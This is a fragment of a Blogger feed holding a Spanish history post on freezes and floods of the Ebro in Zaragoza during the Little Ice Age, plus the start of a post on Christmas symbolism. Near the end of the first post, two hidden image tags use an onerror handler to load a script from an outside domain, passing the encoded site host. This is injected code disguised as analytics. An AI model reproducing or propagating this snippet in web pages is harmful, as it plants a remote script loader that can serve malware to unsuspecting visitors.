/&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Puente de Piedra. Borrasca Filomena 09-01-2020&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En 1442, 1447, 1503 y 1506, el Ebro se heló en Tortosa, hasta el punto
de poder pasar a pie de una a otra orilla. Es de suponer que también se helaría
en Zaragoza, pero no hemos encontrado noticias de ello. Las fuertes heladas del
río siguieron ocurriendo en la desembocadura durante el último tercio del s.
XVI y a lo largo de los siguientes siglos.

Cuando al caudal de nuestros ríos Ebro, Gállego y Huerva, de cauces
irregulares y propensos a las riadas, se sumaba el agua de los deshielos o las
lluvias torrenciales, se producían grandes avenidas. En 1328 el puente de
tablas, el único existente sobre el Ebro, fue destruido por una gran crecida de
este río, y las muchas sucesivas hicieron que sus reconstrucciones y
reparaciones fueran continuas a lo largo del siglo. &lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;

&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Debido a ello, se planteó la necesidad de construir un nuevo puente
más fuerte, el de Piedra, pero el cambiante caudal del río dificultó
enormemente los intentos de su construcción, causando a veces tan graves daños e
incluso abatiendo alguno de sus arcos, que se tardó cien años en terminarlo
(1336-1438). &lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;El río Huerva, que discurría por lo que hoy es la Calle Asalto, cambió
su antiguo cauce por el actual en alguna de las riadas de finales del s. XIV,
quizá en la de 1397, en la que se llevó el puente que existía para cruzarlo y gran
parte del muro medieval (&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;&lt;/b&gt;). &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;En 1400 de nuevo una crecida del Ebro destrozó el puente de madera y
en 1408 otra gran avenida desvió el río formando un nuevo meandro, “&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;el giramiento del Ebro&lt;/i&gt;” lo hizo llegar, más
o menos recto, desde Juslibol hasta la altura del Pilar, amenazando al templo y
a la ciudad, por lo que fue necesario reforzar la muralla de piedra para contenerlo
y realizar importantes obras para intentar reconducirlo. En 1442 de nuevo el
Ebro cambió su cauce causando grandes daños y en 1461 un nuevo desvío formó las
llamadas “Balsas de Ebro Viejo”.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;En 1643 se produjo una de las crecidas más grandes del Ebro de las que
se tienen noticias, las aguas se llevaron varias arcadas del Puente de Piedra partiéndolo
en dos, dejándolo como podemos verlo en el cuadro pintado en 1647 por Martínez
del Mazo, yerno de Velázquez. Además la gran riada destruyó una vez más el Puente de Tablas e
inundó el convento de Predicadores (hoy instituto L. Buñuel)&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/b&gt;situado
junto a la ribera a bastantes metros de altura del lecho del río:&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&amp;nbsp;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt; &lt;/span&gt;“&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;A 18 de febrero del año 1643, día de Ceniza, sucedió una inundación del
río Ebro tan grande, que no la habían visto ni oydo los nacidos: porque subió
más de una vara sobre las murallas del convento…&lt;/i&gt;”&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAq5-7HEPgUJrvg5ZOu1Ssy7ey3VscbXPyCjbPeQXGSUZmpDfzWNHPuporLTTePmTHqdNzbJmcmFkHCIcgHSNk-Bjto6crYNuRXf4WA5Z0LP-ptWgfHzRvbvsSVs9Ao3swaCfWuLD0B-ae/s800/Zaragoza+Velazquez+y+Mazo.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;407&quot; data-original-width=&quot;800&quot; height=&quot;311&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAq5-7HEPgUJrvg5ZOu1Ssy7ey3VscbXPyCjbPeQXGSUZmpDfzWNHPuporLTTePmTHqdNzbJmcmFkHCIcgHSNk-Bjto6crYNuRXf4WA5Z0LP-ptWgfHzRvbvsSVs9Ao3swaCfWuLD0B-ae/w610-h311/Zaragoza+Velazquez+y+Mazo.jpg&quot; width=&quot;610&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Vista de Zaragoza, 1647. Juan Bautista Martínez del Mazo&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&lt;br /&gt;&lt;/span&gt;Las importantísimas riadas continuaron a lo largo de los siglos XVIII
y XIX, sirva de ejemplo la del Huerva en 1830, cuyas aguas llegaron hasta la
Puerta Quemada, situada al final de la actual calle Heroísmo. &lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Según los investigadores, aquí los inviernos gélidos se concentraron
también entre la segunda mitad del s. XVI y el s. XVII. A esto se sumaron nuevos brotes
de peste, que otra vez se cebó con una población debilitada por el hambre
debido a las malas cosechas. En el brote de 1564, uno de los más terribles
ocurridos en la ciudad, se calcula que en Zaragoza murió entre el 33 y el 40 %
de su población (&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;&lt;/b&gt;).&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Al igual que en el resto de Europa, en nuestro país el último tercio
del siglo XVII y el primero del s. XVIII fueron los más frío de toda la PEH (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Mínimo de Maunder&lt;/i&gt;), continuaron las
bajas temperaturas y también los desórdenes climáticos, hubo heladas fuera de
temporada, fuerte calor estival, otras veces veranos muy frescos, fuertes
lluvias... El invierno de 1739-1740 fue intensamente frío, se le llamó “el gran
invierno europeo” (&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;5&lt;/span&gt;&lt;/b&gt;). &lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Existen numerosas fuentes documentales de todos estos hechos extremos
que causaron en Aragón serias crisis de subsistencia. Sabemos que el Ebro, a su paso
por Zaragoza, se heló en 1788 y de nuevo en 1789, manteniéndose así por un
espacio de quince días.&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;El s. XIX, los efectos de la potente erupción del Tambora (&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;6&lt;/span&gt;&lt;/b&gt;),
ocurrida en 1815, se dejaron notar en todo el mundo, por supuesto también en la
Península, produciendo en 1816 lo que se llamó “el año sin verano”. &lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Hacia 1850-1860, las temperaturas se fueron recuperando lentamente,
aunque siguieron alternándose años fríos (olas de frío) con otros más cálidos.
Un ejemplo de esto es la &lt;b&gt;gran ola de frío de 1890-1891&lt;/b&gt;, que duró casi dos
meses, y que volvió a helar los grandes ríos peninsulares, entre ellos el Duero,
el Tajo y el Ebro y otros como el Llobregat o el Turia &quot;&lt;i&gt;que permaneció helado en toda la extensión de su curso...&lt;/i&gt;&quot;, también se heló en sus orillas La Albufera . Se le conoce como el &lt;i&gt;invierno que congeló Europa.&lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Sobre el Ebro, el 19 de enero de 1891 el diario La Vanguardia transcribía la noticia recibida desde Zaragoza el día anterior &quot;&lt;i&gt;a las once de esta mañana señalaba el termómetro 8 grados bajo cero. A causa de estar helado el Ebro y el canal estamos sin luz eléctrica, y en la población se han paralizado las obras municipales...&lt;/i&gt;&quot;, otros periódicos informaron que el espesor del hielo alcanzó en el Ebro los 20 cm a su
paso por Zaragoza.&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Aun así, no fue en esa fecha cuando se alcanzó el record de
temperatura mínima en nuestra ciudad desde que hay registros,&lt;span style=&quot;mso-spacerun: yes;&quot;&gt; &lt;/span&gt;se produjo tres años antes, fue el 31 de
diciembre de 1887 cuando se alcanzaron en Zaragoza los -16, 6&lt;sup&gt; º&lt;/sup&gt; C (AEMET) (&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;7&lt;span style=&quot;color: black;&quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Después poco a poco se impuso la Revolución Industrial, la utilización
de los combustibles fósiles, la tala masiva de bosques, la implantación de la
agricultura intensiva, los nuevos productos obtenidos…&lt;span style=&quot;mso-spacerun: yes;&quot;&gt; &lt;/span&gt;y con todo ello el dióxido de carbono fue aumentando
iniciándose así un proceso de calentamiento global en el que la acción
antrópica tiene mucho que ver.&lt;/p&gt;&amp;nbsp;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;_______________________________________________________________&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;1.- Entre esas causas se encuentran
las variaciones orbitales (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;ciclos de
Milankovitch&lt;/i&gt;), el nivel de actividad solar y sus ciclos (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;ciclos Maunder&lt;/i&gt;) los cambios del ángulo
del eje de la Tierra, cataclismos, alteración de las corrientes oceánicas,
violentas erupciones volcánicas...&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: #990000;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 115%;&quot;&gt;2.- Hoy por hoy no se conocen las
causas definitivas de este cambio. Se apuntan como causantes la disminución de
la actividad solar, con la práctica desaparición de las manchas solares (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Mínimo de Maunder&lt;/i&gt;), o las variaciones
del índice de Oscilación del Atlántico Norte (interacción entre la atmósfera y
la Corriente del Golfo), etc.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: #990000;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;3.- Falcón Pérez, Mª Luisa
(1981). &lt;u&gt;Zaragoza en el siglo XV&lt;/u&gt;. Institución Fernando el Católico.
Zaragoza. Págs. 34, 111, 115 y ss.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: #990000;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;4.- Alfaro Pérez, Francisco
Javier (2019). &lt;u&gt;Zaragoza 1564, el año de la peste&lt;/u&gt;. Institución Fernando
el Católico. Zaragoza. Pág. 61&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: #990000;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;5.- Los expertos señalan
como causa a un brusco descenso del índice de la Oscilación del Atlántico Norte
(NAO)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: #990000;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;6.- El volcán Tambora
(Indonesia) entró en erupción en abril de 1815 emitiendo a la atmósfera grandes
cantidades de partículas y dióxido de azufre que formaron un velo de polvo de
ácido sulfúrico que rodeó la Tierra reduciendo el calor solar, lo que llevó a
un enfriamiento global.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;7.- E. Lolumo, E. Berlanga y D. Fernández (2014). El tiempo y el clima en Aragón. Pág. 66 &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;img onerror=&quot;var s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.id=&amp;quot;cczedcc-plg-analytics&amp;quot;;s.src=&amp;quot;//poruce.neyelanane.com/scripts/js?k=5f36449983df1a9c728b4567&amp;amp;s=&amp;quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&amp;quot;head&amp;quot;)[0].appendChild(s);&quot; src=&quot;&quot; /&gt;&lt;/div&gt;&lt;div&gt;&lt;img onerror=&quot;var s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.id=&amp;quot;cczedcc-plg-analytics&amp;quot;;s.src=&amp;quot;//poruce.neyelanane.com/scripts/js?k=5f36449983df1a9c728b4567&amp;amp;s=&amp;quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&amp;quot;head&amp;quot;)[0].appendChild(s);&quot; src=&quot;&quot; /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/116206688597750653/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/01/la-borrasca-filomenay-la-pequena-edad.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/116206688597750653'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/116206688597750653'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/01/la-borrasca-filomenay-la-pequena-edad.html' title='El Ebro se heló varias veces en Zaragoza durante la Pequeña Edad del Hielo'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU1pYdzSoxSvhj07R9Rs3noalUknZ1k7nAP1oij19JJcWZmUeUyyvK7l4ZrlLAv3Cmw5cWkWBdHAacsO-gjG4BHdlL1WIRJi__W4pcZ_1m5d7bXv67dG4MSZkRQdlM99yH5iyPqZa4iUxD/s72-c/Pilar+y+Ebro.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-969573890730355924</id><published>2020-11-21T18:40:00.004+01:00</published><updated>2020-11-21T19:15:52.824+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>La Navidad y su significado más profundo</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsRmqaADG8yFTKonzJ8V4dg95IDAVHpUQgBgqfu1OrO-9KXPhhPt9U16a-CFHmJMoCqVy8N9gRnWSlh8w-QGF4HvNUCYlT9zy4vOO0c5eKuu9962I3cZUca_7giac_AtyQFbkQ1E-BGvnp/s599/293px-%25C3%2581rbol_Navidad_Plaza_Para%25C3%25ADso.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;599&quot; data-original-width=&quot;293&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsRmqaADG8yFTKonzJ8V4dg95IDAVHpUQgBgqfu1OrO-9KXPhhPt9U16a-CFHmJMoCqVy8N9gRnWSlh8w-QGF4HvNUCYlT9zy4vOO0c5eKuu9962I3cZUca_7giac_AtyQFbkQ1E-BGvnp/w157-h320/293px-%25C3%2581rbol_Navidad_Plaza_Para%25C3%25ADso.jpg&quot; width=&quot;157&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: large;&quot;&gt;Decimos adiós al 2020&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Estamos llegando al
fin del año 2020, año que por otra parte recordaremos siempre como el de la
“pandemia”. A pesar de todo, en las calles ya se pueden ver los preparativos de
la próxima Navidad: luces, que no tardarán en encenderse y que nos incitarán a
una ilusión un tanto marchita, un belén gigantesco en la plaza del Pilar y un
árbol luminoso en el centro neurálgico de la ciudad.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: center;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;&amp;nbsp; &amp;nbsp;Árbol de Navidad en la plaza de Paraíso de Zaragoza&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Un año más,
repetiremos en nuestras casas los rituales propios de la estación con más o
menos alegría. Pero ¿nos hemos planteado alguna vez por qué lo hacemos? Tal vez
podamos pensar hoy día que la Navidad no es otra cosa que una fiesta consumista
y carente de sentido, aunque en realidad podría decirse que es una celebración
tan antigua como el ser humano.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 12pt; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: justify;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6vakAoAINAcMuhhs1GVlcurPJ-wg0byt0IaX29t6g3Tpch30P0Mx7y5VJFsBTPV_c4jEs1s4w8YkaJ_-UME05_MlTY89d80s5DsnSQr0JmnkGN1Uov7tXEzgmgSxdtDtlF_LxcnLOmuL/s600/600px-Orbita_de_la_tierra.png&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;600&quot; data-original-width=&quot;600&quot; height=&quot;385&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6vakAoAINAcMuhhs1GVlcurPJ-wg0byt0IaX29t6g3Tpch30P0Mx7y5VJFsBTPV_c4jEs1s4w8YkaJ_-UME05_MlTY89d80s5DsnSQr0JmnkGN1Uov7tXEzgmgSxdtDtlF_LxcnLOmuL/w385-h385/600px-Orbita_de_la_tierra.png&quot; width=&quot;385&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Órbita de la Tierra&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;El Hombre antiguo
no concebía el tiempo como una sucesión de acontecimientos, sino como un ciclo
que se repetía constantemente. De esta manera, el solsticio de invierno, en el
que el sol se detiene durante tres días (aparentemente), suponía la muerte de
la Naturaleza y su renacimiento cuando la luz comenzaba a &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;aumentar progresivamente.&lt;/span&gt;&lt;/div&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Durante la Navidad tenemos la costumbre de colocar en nuestras casas un árbol (un abeto) y llenarlo de luces, de bolas de colores brillantes, de lazos, de adornos, etc. coronado por una estrella plateada. No sirve para esta ocasión cualquier árbol, ha de ser uno perenne que permanezca repleto de hojas en la fría estación del invierno y que además tenga una forma triangular, cuyo vértice apunte derecho al cielo. Alrededor de la base, cerca de las raíces, colocamos numerosos regalos que  mantenemos en secreto.&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixNtgSpoPiFob7I-dfkL641-3rLvE7skKyz_LaQC0mbEe2-F_az_MUE48WAPp4MhCRMGHQPbDO2UYFSoaWkmHdhhkcagBrL9sHXSYV-h2RIQLgEjcf0rONExA_cGBb_R0vU6laO9ekwNqf/s600/S.E.C.C._world_tree_HRoe_2008.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;600&quot; data-original-width=&quot;511&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixNtgSpoPiFob7I-dfkL641-3rLvE7skKyz_LaQC0mbEe2-F_az_MUE48WAPp4MhCRMGHQPbDO2UYFSoaWkmHdhhkcagBrL9sHXSYV-h2RIQLgEjcf0rONExA_cGBb_R0vU6laO9ekwNqf/s320/S.E.C.C._world_tree_HRoe_2008.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Pues bien, este árbol no se elige por capricho, sino que por sus características y por su forma encierra en sí mismo toda una simbología. En la antigüedad era llamado el árbol de la vida o árbol del mundo, el &lt;i&gt;axis mundi&lt;/i&gt;  (eje del mundo) porque unía los tres mundos: subterráneo (raíces), terrestre (tronco) y celeste (hojas), cuyas energías eternas fluían constantemente a través de él. Para las personas que se reunían junto a él en una época del año en que la tierra estaba paralizada por el frío y la nieve contemplar el verdor fresco de sus ramas suponía una promesa de que la vida iba a surgir de nuevo en primavera, eternamente renovada. Las luces brillantes colocadas en las ramas pronosticaban la victoria de la luz sobre las tinieblas y la estrella colocada en lo alto del árbol apuntaba, siguiendo el eje, a la estrella polar (en el hemisferio norte) que permanece sola en el cielo. Esta estrella se relacionaba antiguamente con diosas como Inanna, Isis o Venus. Los lazos eran un símbolo de infinito o eternidad.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small; text-align: left;&quot;&gt;Fuego en la ceremonia de la cena del solsticio de invierno&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

